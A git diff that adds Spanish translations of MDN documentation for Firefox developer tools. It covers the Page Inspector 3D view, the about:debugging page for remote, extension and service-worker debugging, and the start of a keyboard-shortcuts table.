+<p>{{ fx_minversion_header("11") }}</p>
+<p>Cuando das click sobre el botón ver 3D view, la página entra en modo de vista 3D; en este modo, usted puede ver su página en vista 3D en la cual se anidan bloques de HTML que van sobreponiendose, se proyecta desde la parte inferior de la página. Esta vista hace fácil de visualizar como se anida su contenido.</p>
+<p><img alt="" class="internal default" src="/files/3625/3dview.png"></p>
+<p>By clicking and dragging the view, you can rotate and re-orient the 3D presentation of the DOM hierarchy of your page to see it from different angles, to better examine its structure. Off-screen elements become visible, so that you can see where your elements are located in relation to the visible content. You can click on elements to see their HTML in the HTML panel or or <a href="/en/Tools/Page_Inspector/Style_panel" title="Style panel">Style panel</a>. Conversely, you can click on elements in the breadcrumb bar to change which element is selected in the 3D view.</p>
+<p>If you do not see the 3D button in the page inspector, it is possible that your graphics driver needs to be updated. See the <a class="link-https" href="https://wiki.mozilla.org/Blocklisting/Blocked_Graphics_Drivers" title="https://wiki.mozilla.org/Blocklisting/Blocked_Graphics_Drivers">blocklisted drivers page</a> for more information.</p>
+<h2 id="Controlling_the_3D_view">Controlling the 3D view</h2>
+<p>There are keyboard shortcuts and mouse controls available for the 3D view.</p>
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Function</td>
+   <td class="header">Keyboard</td>
+   <td class="header">Mouse</td>
+  </tr>
+  <tr>
+   <td>Zoom in/out</td>
+   <td>+ / -</td>
+   <td>Scroll wheel up/down</td>
+  </tr>
+  <tr>
+   <td>Rotate left/right</td>
+   <td>a / d</td>
+   <td>Mouse left/right</td>
+  </tr>
+  <tr>
+   <td>Rotate up/down</td>
+   <td>w / s</td>
+   <td>Mouse up/down</td>
+  </tr>
+  <tr>
+   <td>Pan left/right</td>
+   <td>← / →</td>
+   <td>Mouse left/right</td>
+  </tr>
+  <tr>
+   <td>Pan up/down</td>
+   <td>↑ / ↓</td>
+   <td>Mouse up/down</td>
+  </tr>
+  <tr>
+   <td>Reset zoom level</td>
+   <td>0</td>
+   <td>Resets the zoom level to the default</td>
+  </tr>
+  <tr>
+   <td>Focus on selected node</td>
+   <td>f</td>
+   <td>Makes sure the currently selected node is visible {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td>Reset view</td>
+   <td>r</td>
+   <td>Resets zoom, rotation, and panning to the default {{ fx_minversion_inline("12.0") }}</td>
+  </tr>
+  <tr>
+   <td>Hide current node</td>
+   <td>x</td>
+   <td>Makes the currently selected node invisible; this can be helpful if you need to get at a node that's obscured {{ fx_minversion_inline("12.0") }}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Use_cases_for_the_3D_view">Use cases for the 3D view</h2>
+<p>There are a variety of ways the 3D view is useful:</p>
+<ul>
+ <li>If you have broken HTML causing layout problems, looking at the 3D view can help find where you've gone wrong. Often, layout problems are caused by improper nesting of content. This can become much more obvious when looking at the 3D view and seeing where your elements are nested wrong.</li>
+ <li>If content isn't displaying, you may be able to figure out why; since the 3D view lets you zoom out to see elements that are rendering outside the visible area of the page, you can find stray content this way.</li>
+ <li>You can get a look at how your page is structured to see if there may be ways to optimize your layout.</li>
+ <li>And, of course, it looks <strong>awesome</strong>.</li>
+</ul>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en/Tools/Page_Inspector" title="Page Inspector">Page Inspector</a></li>
+ <li><a href="/en/Tools/Page_Inspector/HTML_panel" title="HTML panel">HTML panel</a></li>
+ <li><a href="/en/Tools/Page_Inspector/Style_panel" title="en/Tools/Page_Inspector/Style panel">Style panel</a></li>
+ <li><a href="/en/Tools" title="Tools">Tools</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2011/12/new-developer-tools-in-firefox-11-aurora/" title="http://hacks.mozilla.org/2011/12/new-developer-tools-in-firefox-11-aurora/">New Developer Tools in Firefox 11 Aurora</a> (blog post)</li>
+</ul>
+<p>{{ languages( { "ja": "ja/Tools/Page_Inspector/3D_view", "zh-cn": "zh-cn/Tools/Page_Inspector/3D_view"} ) }}</p>
diff --git a/files/es/tools/about_colon_debugging/index.html b/files/es/tools/about_colon_debugging/index.html
new file mode 100644
index 0000000000..d79402d197
--- /dev/null
+++ b/files/es/tools/about_colon_debugging/index.html
@@ -0,0 +1,255 @@
+---
+title: 'acerca:depurado'
+slug: 'Tools/about:debugging'
+tags:
+  - Debugger
+  - Depurado
+  - Depurado remoto
+  - Remote debugging
+  - 'about:debugging'
+translation_of: 'Tools/about:debugging'
+---
+<p>{{ToolsSidebar}}</p>
+
+<p>La página about:debugging proporciona un lugar desde el que puede adjuntar las herramientas de desarrollador de Firefox a varios objetivos de depuración. Por el momento, admite tres tipos principales de objetivos: complementos que no requieren reinicio (<em>restartless add-ons</em>), pestañas y trabajadores.</p>
+
+<h2 id="Abrir_la_página_aboutdebugging">Abrir la página about:debugging</h2>
+
+<p>Hay dos formas de abrir el <code>about:debugging</code>:</p>
+
+<ul>
+ <li>Escriba about:debugging en la barra de URL de Firefox.</li>
+ <li>En el menú Herramientas&gt; Desarrollador web, haga clic en Depuración remota.</li>
+</ul>
+
+<p>Cuando about:debugging se abre, en el lado izquierdo verá una barra lateral con dos opciones e información sobre su configuración de depuración remota:</p>
+
+<dl>
+ <dt>Configuración</dt>
+ <dd>
+ <p>Use la pestaña Configuración para configurar la conexión a su dispositivo remoto.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>Este Firefox</dt>
+ <dd>Proporciona información sobre las extensiones temporales que ha cargado para la depuración, las extensiones que están instaladas en Firefox, las pestañas que tiene abiertas actualmente y los trabajadores de servicios que se ejecutan en Firefox.</dd>
+</dl>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16650/about_debugging_setup.png" style="border: 1px solid black; display: block; height: 751px; margin: 0px auto; width: 918px;"></p>
+
+<p>Si su página <code>about:debugging</code> es diferente de la que se muestra aquí, vaya a <code>about:config</code>, busque y establezca la opción <code>devtools.aboutdebugging.new-enabled</code> en true.</p>
+
+<h2 id="Pestaña_Configuración">Pestaña Configuración</h2>
+
+<h3 id="Conectarse_a_un_dispositivo_remoto">Conectarse a un dispositivo remoto</h3>
+
+<p>Firefox admite la depuración a través de USB con dispositivos Android, utilizando la página about:debugging.</p>
+
+<p>Antes de conectarte:</p>
+
+<ol>
+ <li>Habilite la configuración de desarrollador en su dispositivo Android.</li>
+ <li>Habilite la depuración de USB en la configuración del desarrollador de Android.</li>
+ <li>Habilite la depuración remota a través de USB en la Configuración avanzada en Firefox en el dispositivo Android.</li>
+ <li>Conecte el dispositivo Android a su computadora con un cable USB.</li>
+</ol>
+
+<p>Si su dispositivo no aparece en el lado izquierdo de la página <code>about:debugging</code>, intente hacer clic en el botón <strong>Actualizar dispositivos</strong>.</p>
+
+<p><strong>Si aún no aparece,</strong> puede deberse a que el enlace entre su dispositivo Android y su computadora aún no está autorizado. Primero asegúrese de haber instalado <a href="https://developer.android.com/studio/command-line/adb">Android Debug Bridge</a> de Android Tools en su computadora para que pueda conectarse a su dispositivo. A continuación, deshabilite todas las configuraciones de depuración ya activadas y repita los pasos descritos anteriormente. Su dispositivo debe mostrar una ventana emergente para autorizar a su computadora a conectarse a él; acepte esto y luego haga clic en el botón Actualizar dispositivos nuevamente. El dispositivo debería aparecer.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota: </strong>No necesita instalar el SDK completo de Android Studio. Solo se necesita adb.</p>
+</div>
+
+<p>Para comenzar una sesión de depuración, primero abra la página que desea depurar y luego haga clic en Conectar al lado del nombre del dispositivo para abrir una conexión. Si la conexión fue exitosa, ahora puede hacer clic en el nombre del dispositivo para cambiar a una pestaña con información sobre el dispositivo.</p>
+
+<p><img alt="Screenshot of the debugging page for an Android device" src="https://mdn.mozillademos.org/files/16915/device_information.png" style="border: 1px solid black; display: block; margin: 0 auto;"></p>
+
+<p>La información en esta página es la misma que la información en la pestaña <strong>Este Firefox</strong>, pero en lugar de mostrar información para su computadora, muestra la información para el dispositivo remoto con la adición de una sección de <strong>Pestañas</strong> con una entrada para cada una de las pestañas abiertas en el dispositivo remoto.</p>
+
+<p>Nota: Si la versión de Firefox en su dispositivo es una versión anterior (o más) a la versión de su computadora, es posible que vea un mensaje como el siguiente:</p>
+
+<p><img alt="The connected browser has an old version (68.2.0). The minimum supported version (69.0a1). This is an unsupported setup and may cause DevTools to fail. Please update the connected browser." src="https://mdn.mozillademos.org/files/16917/version_warning.png" style="display: block; margin: 0 auto;"></p>
+
+<p>En Firefox 76 y superior, el mensaje puede tener el siguiente aspecto:<img alt="This version of Firefox cannot debug Firefox for Android (68). We recommend installing Firefox for Android Nightly on your phone for testing. More details" src="https://mdn.mozillademos.org/files/17171/fxand-68-error.png" style="height: 64px; width: 675px;"></p>
+
+<p>En la imagen de abajo, hay tres pestañas abiertas: <strong>Network or cache Recipe</strong>, <strong>Nightly Home</strong>, y <strong>About Nightly</strong>. Para depurar el contenido de una de estas pestañas, haga clic en el botón Inspeccionar junto a su título. Cuando lo haga, las Herramientas para desarrolladores se abrirán en una nueva pestaña.</p>
+
+<p><img alt="Screenshot showing the remote debugging window, with the editable URL bar" src="https://mdn.mozillademos.org/files/17317/remote-debugger-w-URL-buttons.png" style="border: 1px solid black; display: block; height: 471px; margin: 0px auto; width: 1014px;"></p>
+
+<p>Ademas de la lista habitual de herramientas, tambien puede ver información sobre el dispositivo al que está conectado, incluido que está conectado (en este ejemplo) a través de USB, a Firefox Preview, en un Pixel 2, así como el título del página que está depurando y la dirección de la página.</p>
+
+<p>A partir de Firefox 78, la barra de URL es editable, por lo que puede cambiar la URL utilizada por el navegador en el dispositivo remoto. También puede volver a cargar la página haciendo clic en el botón Reload junto a la barra de URL (a partir de 79), navegar hacia atrás o hacia adelante en el historial de navegación con los botones Atrás y Adelante.</p>
+
+<h3 id="Conectando_a_través_de_la_red">Conectando a través de la red</h3>
+
+<p>Puede conectarse a un servidor de depuración de Firefox en su red o en su máquina de depuración utilizando la configuración de Ubicación de red de la página about:debugging.<img alt="" src="https://mdn.mozillademos.org/files/16942/network_location.png" style="display: block; margin: 0px auto;"></p>
+
+<p>Ingrese la ubicación y el puerto en el que se ejecuta el servidor del depurador. Cuando lo haga, se agregará a la lista de ubicaciones de red junto con los dispositivos, como se muestra a continuación:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16943/connect_network_location.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="Este_Firefox">Este Firefox</h2>
+
+<p>La pestaña <strong>Este Firefox</strong> combina las características de Extensiones, Pestañas y Trabajadores en una sola pestaña con las siguientes secciones:</p>
+
+<dl>
+ <dt>Extensiones Temporales</dt>
+ <dd>Muestra una lista de las extensiones que ha cargado utilizando el botón Cargar complemento temporal.</dd>
+ <dt>Extensiones</dt>
+ <dd>Esta sección enumera información sobre las extensiones que ha instalado en su sistema.</dd>
+ <dt>Trabajadores de servicios, trabajadores compartidos y otros trabajadores</dt>
+ <dd>Hay tres secciones en esta página que tratan sobre los trabajadores de servicios, trabajadores compartidos y otros trabajadores.</dd>
+</dl>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16654/about_debugging_this_firefox.png" style="border: 1px solid black; display: block; height: 867px; margin: 0px auto; width: 1138px;"></p>
+
+<p>Si las extensiones internas aparecen en la lista de esta página depende de la configuración de la preferencia devtools.aboutdebugging.showHiddenAddons. Si necesita ver estas extensiones, navegue hasta about:config y asegúrese de que la preferencia esté establecida en true.</p>
+
+<h2 id="Extensiones">Extensiones</h2>
+
+<h3 id="Cargando_una_extensión_temporal">Cargando una extensión temporal</h3>
+
+<p>Con el botón <strong>Cargar complemento temporalmente</strong> puede cargar temporalmente una extensión web desde un directorio en el disco. Haga clic en el botón, navegue hasta el directorio que contiene el complemento y seleccione su archivo de manifiesto. La extensión temporal se muestra debajo del encabezado <strong>Extensiones temporales</strong>.</p>
+
+<p>No tiene que empaquetar o firmar la extensión antes de cargarlas. La extensión permanecerá instalada hasta que reinicie Firefox.</p>
+
+<p>Las principales ventajas de este método, en comparación con la instalación de un complemento desde un XPI, son:</p>
+
+<ul>
+ <li>No tiene que reconstruir un XPI y reinstalarlo cuando cambia el código del complemento;</li>
+ <li>Puede cargar un complemento sin firmarlo y sin necesidad de deshabilitar signing.</li>
+</ul>
+
+<p>Una vez que haya cargado una extensión temporal, puede ver información sobre ella y realizar operaciones.</p>
+
+<p><img alt="Screenshot of the debugging information panel for a temporary extension" src="https://mdn.mozillademos.org/files/16652/temporary_extension.png" style="display: block; height: 322px; margin: 0 auto; width: 680px;"></p>
+
+<p>Puede usar los siguientes botones:</p>
+
+<dl>
+ <dt>Inspeccionar</dt>
+ <dd>Carga la extensión en el depurador.</dd>
+ <dt>Reload</dt>
+ <dd>Vuelve a cargar la extensión temporal. Esto es útil cuando ha realizado cambios en la extensión.</dd>
+ <dt>Eliminar</dt>
+ <dd>Retira la extensión temporal.</dd>
+</dl>
+
+<p>Se muestra otra información sobre la extensión:</p>
+
+<dl>
+ <dt>Ubicación</dt>
+ <dd>La ubicación del código fuente de la extensión en su sistema local.</dd>
+ <dt>ID de extensión</dt>
+ <dd>La ID temporal asignada a la extensión.</dd>
+ <dt>UUID interno</dt>
+ <dd>El UUID interno asignado a la extensión.</dd>
+ <dt>Manifiesto de la URL</dt>
+ <dd>Si hace clic en el enlace, el manifiesto de esta extensión se carga en una nueva pestaña.</dd>
+</dl>
+
+<h3 id="Actualización_de_una_extensión_temporal">Actualización de una extensión temporal</h3>
+
+<p>Si instala una extensión de esta manera, ¿qué sucede cuando actualiza la extensión?</p>
+
+<ul>
+ <li>Si cambia los archivos que se cargan a pedido, como las <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">secuencias de comandos</a> de contenido o <a href="https://wiki.developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2">ventanas emergentes</a>, los cambios que realice se recogen automáticamente y los verá la próxima vez que se cargue la secuencia de comandos de contenido o se muestre la ventana emergente.</li>
+ <li>Para otros cambios, haga clic en el botón <strong>Recargar</strong>. Esto hace lo que dice:
+  <ul>
+   <li>Recarga las secuencias de comandos persistentes, como los <a href="https://wiki.developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background scripts</a></li>
+   <li>Analiza el archivo manifest.json nuevamente, por lo que los cambios a los permisos, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> o cualquier otra llave surtirán efecto</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Extensiones_instaladas">Extensiones instaladas</h3>
+
+<p>Las extensiones instaladas permanentemente se enumeran en la sección Extensiones. Para cada extensión Ud. verá algo como lo siguiente:</p>
+
+<p><img alt="Screenshot of the debugging information panel for an installed extension" src="https://mdn.mozillademos.org/files/16651/installed_extension.png" style="display: block; margin: 0 auto;"></p>
+
+<p>El botón <strong>Inspeccionar </strong>y los campos <strong>ID de extensión</strong> y <strong>UUID interno</strong> son los mismos que para las extensiones temporales.</p>
+
+<p>Al igual que sucede con las extensiones cargadas temporalmente, el enlace junto a la URL del manifiesto abre el manifiesto cargado en una nueva pestaña.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Se recomienda que use la caja de herramientas del navegador, no el depurador de complementos, para depurar extensiones web. Vea <a href="https://wiki.developer.mozilla.org/en-US/Add-ons/WebExtensions/Debugging">Depuración de WebExtensions</a> para todos los detalles.</p>
+</div>
+
+<p>La sección Complementos en about:debugging enumera todas las extensiones web que están instaladas actualmente. Al lado de cada entrada hay un botón etiquetado <strong>Inspeccionar</strong>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> esta lista puede incluir complementos que vienen preinstalados con Firefox.</p>
+</div>
+
+<p>Si hace clic en Inspeccionar, el depurador de complementos comenzará en una nueva pestaña.</p>
+
+<p>Consulte la página del <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_Debugger">depurador de complementos</a> para ver todas las cosas que puede hacer con esta herramienta.</p>
+
+<h2 id="Workers">Workers</h2>
+
+<p>Esta sección muestra todos los Workers que tienes registrados en tu Firefox, clasificados de la siguiente manera:</p>
+
+<ul>
+ <li>Todos los <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API">Service workers</a> registrados</li>
+ <li>Todos los <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/SharedWorker">Shared workers</a> registrados</li>
+ <li>Otros workers, incluidos <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/ChromeWorker">Chrome Workers</a> y Dedicated Workers</li>
+</ul>
+
+<p>Puede conectar las herramientas de desarrollador a cada trabajador y enviar notificaciones push a los trabajadores del servicio.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16657/about_debugging_workers.png" style="border: 1px solid black; display: block; height: 642px; margin-left: auto; margin-right: auto; width: 567px;"></p>
+
+<h3 id="Estado_trabajador_de_servicio">Estado trabajador de servicio</h3>
+
+<p>La lista de trabajadores de servicio muestra el estado del trabajador de servicio en su <a href="https://developers.google.com/web/fundamentals/instant-and-offline/service-worker/lifecycle">ciclo de vida</a>. Son posibles tres estados:</p>
+
+<ul>
+ <li>Registro: cubre todos los estados entre el registro inicial del trabajador del servicio y su control de las páginas. Es decir, subsume los estados de instalación, activación y espera.</li>
+ <li>En ejecución: el trabajador de servicio se está ejecutando actualmente. Está instalado y activado, y actualmente maneja eventos.</li>
+ <li>Detenido: el trabajador de servicio está instalado y activado, pero ha finalizado después de estar inactivo.</li>
+</ul>
+
+<p><img alt="Screenshot of the debugging panel for a service worker that is in the Running state" src="https://mdn.mozillademos.org/files/16659/sample_service_worker.png" style="display: block; height: 237px; margin-left: auto; margin-right: auto; width: 556px;"></p>
+
+<p>Esta sección utiliza una demostración simple de ServiceWorker, alojada en <a href="https://serviceworke.rs/push-simple/">https://serviceworke.rs/push-simple/</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Desde Firefox 79 en adelante, puede acceder a información similar sobre los Service Workers registrados en un dominio en particular yendo al <a href="/es/docs/">panel de Aplicación</a> de Firefox DevTools.</p>
+</div>
+
+<h3 id="Dar_de_baja_a_los_trabajadores_del_servicio">Dar de baja a los trabajadores del servicio</h3>
+
+<p>Haga clic en el botón Cancelar registro para cancelar el registro del trabajador de servicio.</p>
+
+<h3 id="Envío_de_eventos_push_a_service_workers">Envío de eventos push a service workers</h3>
+
+<p>Para depurar notificaciones push, puede establecer un punto de interrupción en el detector de <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/PushEvent">eventos push</a>. Sin embargo, también puede depurar notificaciones push localmente, sin necesidad del servidor. Haga clic en el botón Push para enviar un evento push al trabajador del servicio.</p>
+
+<h3 id="Trabajadores_de_servicio_no_compatibles">Trabajadores de servicio no compatibles</h3>
+
+<div>
+<p>Se muestra un mensaje de advertencia en la parte superior de la pestaña Este Firefox si los trabajadores del servicio son incompatibles con la configuración actual del navegador y, por lo tanto, no se pueden usar ni depurar.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16655/worker_warning.png" style="display: block; height: 44px; margin: 0px auto; width: 551px;"></p>
+</div>
+
+<p>Los trabajadores de servicio pueden no estar disponibles si la preferencia <code>dom.serviceWorkers.enable</code> está configurada como false en <code>about:config</code>.</p>
+
+<h2 id="Conexión_a_Firefox_para_Android_68">Conexión a Firefox para Android 68</h2>
+
+<p>Las versiones de Firefox para Android que se basan en la versión 68 no se pueden depurar desde las versiones de escritorio de Firefox 69 o posteriores, debido a la diferencia en las versiones de lanzamiento. Hasta el momento en que Firefox para Android se actualice a una versión principal más reciente, en sincronización con Firefox de escritorio, debe usar una de las siguientes versiones de Firefox para Android:</p>
+
+<ul>
+ <li><span style=""><a href="https://play.google.com/store/apps/details?id=org.mozilla.fenix">Firefox preview</a>, si su escritorio Firefox es la versión principal o Developer Edition</span></li>
+ <li><a href="https://play.google.com/store/apps/details?id=org.mozilla.fenix">Firefox para Android Nightly</a></li>
+</ul>
+
+<p><span style="">Si prefiere realizar la prueba con la versión principal de Firefox para Android (es decir, según la versión 68), puede hacerlo con la <a href="https://support.mozilla.org/en-US/kb/switch-to-firefox-extended-support-release-esr">versión de soporte extendido (ESR)</a> de Firefox para escritorio, que también se basa en la versión 68.</span></p>
+
+<p>Tenga en cuenta queen <code>about:debugging</code> la depuración no está habilitada de forma predeterminada en Firefox ESR. Para habilitarlo, abra el <a href="https://support.mozilla.org/en-US/kb/about-config-editor-firefox">Editor de configuración</a> (<code>about:config</code>) y establezca <code>devtools.aboutdebugging.new-enabled</code> en true.</p>
+
+<p>Si utilizó una versión superior de Firefox antes de instalar Firefox ESR, se le pedirá que cree un nuevo perfil de usuario para proteger sus datos de usuario. Para obtener más información, consulte <a href="https://support.mozilla.org/en-US/kb/dedicated-profiles-firefox-installation#w_what-happens-to-my-profile-if-i-downgrade-to-a-previous-version-of-firefox">¿Qué sucede con mi perfil si cambio a una versión anterior de Firefox?</a></p>
diff --git a/files/es/tools/accesos_directos/index.html b/files/es/tools/accesos_directos/index.html
new file mode 100644
index 0000000000..9372393011
--- /dev/null
+++ b/files/es/tools/accesos_directos/index.html
@@ -0,0 +1,1266 @@
+---
+title: Accesos directos
+slug: Tools/Accesos_directos
+tags:
+  - Herramientas
+  - 'l10n:priority'
+translation_of: Tools/Keyboard_shortcuts
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>Esta página muestra todos los accesos directos utilizados para las herramientas para desarrolladores de Firefox.</p>
+
+<p>La primera sección muestra el acceso directo para cada herramienta mientras que la segunda sección muestra los accesos directos aplicables sólo a las herramientas de desarrolladores. Por último hay una sección para cada herramienta, que lista todos los accesos directos que puedes usar dentro de la misma.</p>
+
+<p>Debido a que los accesos directos dependen de la ubicación, no están documentados en esta página.</p>
+
+<h2 id="Herramientas_de_apertura_y_cierre"><span class="tlid-translation translation" lang="es"><span title="">Herramientas de apertura y cierre</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Estos accesos directos funcionan en la ventana principal del navegador para abrir la herramienta especificada.</span> <span title="">Los mismos accesos directos funcionarán para cerrar las herramientas alojadas en la Caja de herramientas si la herramienta está activa.</span> <span title="">Para herramientas que se abren en una nueva ventana, como la consola del navegador, debe cerrar la ventana para cerrar la herramienta.</span></span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Abre la caja de herramientas (con la herramienta más reciente activada)</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Trae la caja de herramientas a primer plano (solo si está en una ventana separada y no en primer plano)</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> o <kbd>F12</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> o <kbd>F12</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> o <kbd>F12</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Cierra la caja de herramientas (si está en una ventana separada y en primer plano)</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> o <kbd>F12</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> o <kbd>F12</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> o <kbd>F12</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre la consola web <a href="#opening-closing-web-console-note"><strong><sup>1</sup></strong></a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>K</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el inspector de elementos</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>C</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el depurador <strong><sup><a href="#acceso_directo_depurador">2</a></sup></strong></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>S</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el editor de estilos</th>
+   <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F7</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
+   <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el perfilador</th>
+   <td><kbd>Shift</kbd> + <kbd>F5</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F5</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
+   <td><kbd>Shift</kbd> + <kbd>F5</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el monitor de red <a href="#opening-closing-network-monitor-note"><strong><sup>3</sup></strong></a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>E</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>E</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>E</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Despliega las herramientas de desarrollador</th>
+   <td><kbd>Shift</kbd> + <kbd>F2</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F2</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
+   <td><kbd>Shift</kbd> + <kbd>F2</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Despliega la vista de diseño adaptable</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>M</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>M</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>M</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre la consola del navegador <a href="#opening-closing-browser-console-note"><sup>4</sup></a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>J</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>J</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>J</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre la caja de herramientas del navegador</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el bloc de notas</th>
+   <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el WebIDE</th>
+   <td><kbd>Shift</kbd> + <kbd>F8</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F8</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F8</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el inspector de almacenamiento <a href="#disabled-tools-shortcut"><sup>5</sup></a></th>
+   <td><kbd>Shift</kbd> + <kbd>F9</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F9</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F9</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el depurador<strong><sup><a href="#acceso_directo_depurador"> 2</a></sup></strong></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>Z</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd></td>
+  </tr>
+ </tbody>
+</table>
+
